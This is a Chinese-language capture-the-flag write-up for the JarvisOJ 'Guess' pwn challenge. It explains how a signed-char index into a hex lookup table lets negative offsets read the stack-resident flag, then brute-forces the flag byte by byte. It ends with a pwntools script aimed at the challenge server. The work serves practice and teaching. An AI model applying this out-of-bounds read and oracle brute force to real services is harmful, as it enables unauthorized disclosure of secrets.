JarvisOJ | Guess (带技巧的exp爆破)
这道题对我来说还是挺难的，做了很久很久吧，差点砸电脑，还好最后AC了，现记录一下过程。
反汇编分析
查一下保护机制，只开了 NX
main() 函数里是 socket 网络编程的内容，看起来不太需要分析，于是进入其调用的 handle() 函数
逻辑似乎和逆向题差不多，每次输入一个字符串后用函数 is_flag_correct() 判断是否正确
进入 is_flag_correct() 函数
首先看到我们输入的字符串是 flag_hex ，这个命名已经提示我们输入的是 flag 字符的十六进制串（然鹅我开始并没有意识到）
同时限制了输入串的长度必须为 100 ，即 flag 串长度的两倍
for ( i_0 = 0; i_0 <= 49; ++i_0 )
diff |= flag[i_0] ^ given_flag[i_0];
return diff == 0;
最后的这段代码是判断 flag 和 given_flag（程序计算出的）是否相等，并返回结果
而 flag 串的明文在栈内存中会出现，但我们用 IDA 看到的是假的，需要想办法在线获取
发现这题无法用之前常用的缓存区溢出漏洞来实现 pwn（保护白关了）
关键代码
考虑有没有泄露内存的方法，于是再分析一下代码
for ( i = 0; i <= 49; ++i ) {
value1 = bin_by_hex[flag_hex[2 * i]];
value2 = bin_by_hex[flag_hex[2 * i + 1]];
given_flag[i] = value2 | 16 * value1;
}
这几句看起来比较关键，一个个数组来看
flag_hex[] 是我们输入的，bin_by_hex[] 是数据段内存 unk_401100 拷贝过来的
而 given_flag[] 的计算过程其实就是把 value1 当作十六进制字符首位，value2 为末位，计算一个 ASCALL 值，即：
given_flag[i] = (char)(value1 * 16 + value2)
这要求了 (char)value1/2 的真实值范围是 0~15，其依赖于 bin_by_hex[] 数组的寻址
而 bin_by_hex[] 里面的数据比较有意思
发现除了偏移量为 48-57，65-90，97-122 的字节的真实值为 0-15 外，其他都是 0xFF（-1）
若把以上三个范围的偏移量作为 ASCALL 值，则分别代表了数字、大写字母、小写字母
所以源程序的逻辑就理清了，如下：
\((1)\) 输入 flag 的十六进制字符串
\((2)\) 每次取两位计算一位字符（利用 bin_by_hex 数组寻址）
\((3)\) 与真实 flag 校验
那我们应该如何利用这一过程获取栈空间中的 flag 呢？其实还要通过 bin_by_hex 寻址的过程
漏洞利用
显然 flag_hex[] 是受我们控制的，如果我们令它为负数，就可以访问到 bin_by_hex[0] 往上的栈空间
再来看一手栈布局
bin_by_hex[] 往上就是 flag[] 了，这样只要让 flag_hex[2 * i + 1] 取一个负值，就可以让 value2[i] 成为 flag 串的一个字节
这种操作有点奇怪，因为 flag_hex 毕竟是个 char 数组，但试验后发现用 char 作下标时会转化成带符号的 int8 类型，0xFF -> -1
至于 value1 在写 payload 时让它为 0 就好了，最后计算出的 give_flag[i] 就是 flag[i] 了
如此操作 50 次，就通过了校验，此时我们一个得到了一个通用 payload，但 flag 明文依然不知道，于是考虑进行逐位爆破
爆破操作
爆破的大致思路是在通用 payload（在下面代码中为 leak）的基础上进行两位两位的修改，
枚举可能出现的字符 [0-9a-z]，把原先的用于泄露的双字节改成真实字符的 ASCALL 值的十六进制表示的字符
比如枚举到 'a' 时，'a' 的 ASCALL 值为 97，十六进制为 0x61，就把 payload[i * 2] 改为 '6'，payload[i * 2 + 1] 改为 '1'
如果正好找到了当前双字节的原本值，就会在 send 之后接受到成功信息：Yaaaay，把当前双字节加入答案串中
对于每个双字节都如此操作，就可以逐位爆破出全部的答案串，注意下格式是 PCTF{}
代码如下
from pwn import *
io = remote('pwn.jarvisoj.com', '9878')
#io = process('./source')
#context(log_level = 'debug')
List = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
leak = []
for i in range(50):
leak.append('0')
leak.append(chr(128 + 0x40 + i))
flag = 'PCTF{'
for i in range(5, 50):
for j in List:
io.recvuntil('>')
#print 'i = ', i, 'j =', j
#print ord(j)
payload = leak
# '0' -> '0x30'
payload[i*2] = hex(ord(j))[2]
payload[i*2+1] = hex(ord(j))[3]
#print bytes(''.join(payload))
#print ''.join(payload)
io.sendline(''.join(payload))
re = io.recvline()
#print re
if re.count('Yaaaay'):
flag += j
break
flag += '}'
print flag
io.interactive()
